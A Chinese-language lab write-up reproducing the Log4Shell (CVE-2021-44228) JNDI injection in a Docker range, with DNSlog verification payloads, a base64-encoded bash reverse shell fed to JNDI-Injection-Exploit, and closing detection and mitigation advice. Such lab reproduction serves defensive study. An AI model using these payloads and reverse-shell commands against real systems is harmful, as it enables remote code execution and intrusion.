前言

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

JNDI简单介绍

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

JNDI实现原理
JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。
格式 ${jndi:rmi:192.168.96.1:1099/wqiyua}
在这里插入图片描述

参考文章https://blog.csdn.net/weixin_46198176/article/details/124917641

漏洞攻击原理

原理概述
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp
解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
攻击者就可以通过shell实现任意的命令执行,造成严重危害

受影响版本
Apache Log4j 2.x <= 2.14.1

漏洞信息

漏洞名称 漏洞名称 Apache Log4j 代码问题漏洞
漏洞编号 CVE-2021-44228
危害等级 严重
CVSS评分 10
漏洞类型 代码问题

查询网址:链接: http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202112-799.
https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=CVE-2021-44228&search_type=all&isCpeNameSearch=false

复现环境

Vulhub 搭建log4j漏洞环境

环境搭建

1.vulhub靶场下载地址: https://vulhub.org/#/docs/
2.使用docker搭建vulfocus的漏洞靶场

docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest 
  • 1
  • 2

在这里插入图片描述3.访问漏洞环境,环境搭建完成。
在这里插入图片描述

漏洞复现

检查漏洞是否存在

进入我们需要复现的漏洞靶场文件夹下,输入命令 : docker-compose up -d
在这里插入图片描述
**利用DNSlog验证漏洞存在

靶场启动成功后,浏览器访问:
通过DNSLog平台获取到域名nlhkzw.dnslog.cn,构造payload:${jndi:ldap://nlhkzw.dnslog.cn},浏览器点击???并使用Burpsuite进行抓包并替换payload参数,此时若直接发包会导致服务器400错误:
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

编码后再次发送请求包:

在这里插入图片描述
在DNSLog网站成功接收到解析记录:

在这里插入图片描述

漏洞利用

这里选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,下载地址为https://github.com/bkfish/Apache-Log4j-Learning/tree/main
应用工具JNDI-Injection-Exploit搭建服务:格式:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”

这里的命令是想要靶机运行的命令,-A后放的是发出攻击的电脑的ip,也是存放-C后“命令”的ip地址。
接下来要实现反弹shell,可以用命令

bash -i >& /dev/tcp/ip/port 0>&1

注意“命令”必须经过编码,不然将无法实现

反弹shell漏洞利用

在漏洞已经存在的情况下,构造攻击payload执行命令反弹shell

bash -i >& /dev/tcp/v-ip/port 0>&1
在这里插入图片描述

设置监听端口
在 v中打开一个页面,监听我们的对应的端口。
在这里插入图片描述
执行EXP,生成可用的payload
编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}” -A 192.168.109.128

在这里插入图片描述

使用burpsuit抓包,替换payloadrmi://192.168.109.128:1099/xz4mwn 到Burpsuite:
在这里插入图片描述
在这里插入图片描述
将payload进行url编码并发包

在这里插入图片描述
**监听界面出现如下所示,即为反弹shell成功 **

在这里插入图片描述

复现时遇到的问题

1.环境安装时总遇到问题
2.打开DNSlog.cn网站时遇到很多问题
3.使用burp抓包与发包时遇到问题

排查

1.可以通过检查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符来发现可能的攻击行为
2.pom版本检查
3.各种安全产品

防御方法

1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。由于Java RMI,的实现依赖于JVM,所以可以通过调用JVM来修改。
2.设置log4j2.formatMsgNoLookups=True。
3.采用waf对请求流量中的${jndi进行拦截。通过对拦截JNDI语句来防止JNDI注入。
4.禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。

修复方法

升级到最新的安全版本:log4j-2.15.0-rc2。Apache Log4j2 官方已经发布了解决上述漏洞的安全更新,建议尽快升级到安全版本。

本文作者:aboyslove, 转自FreeBuf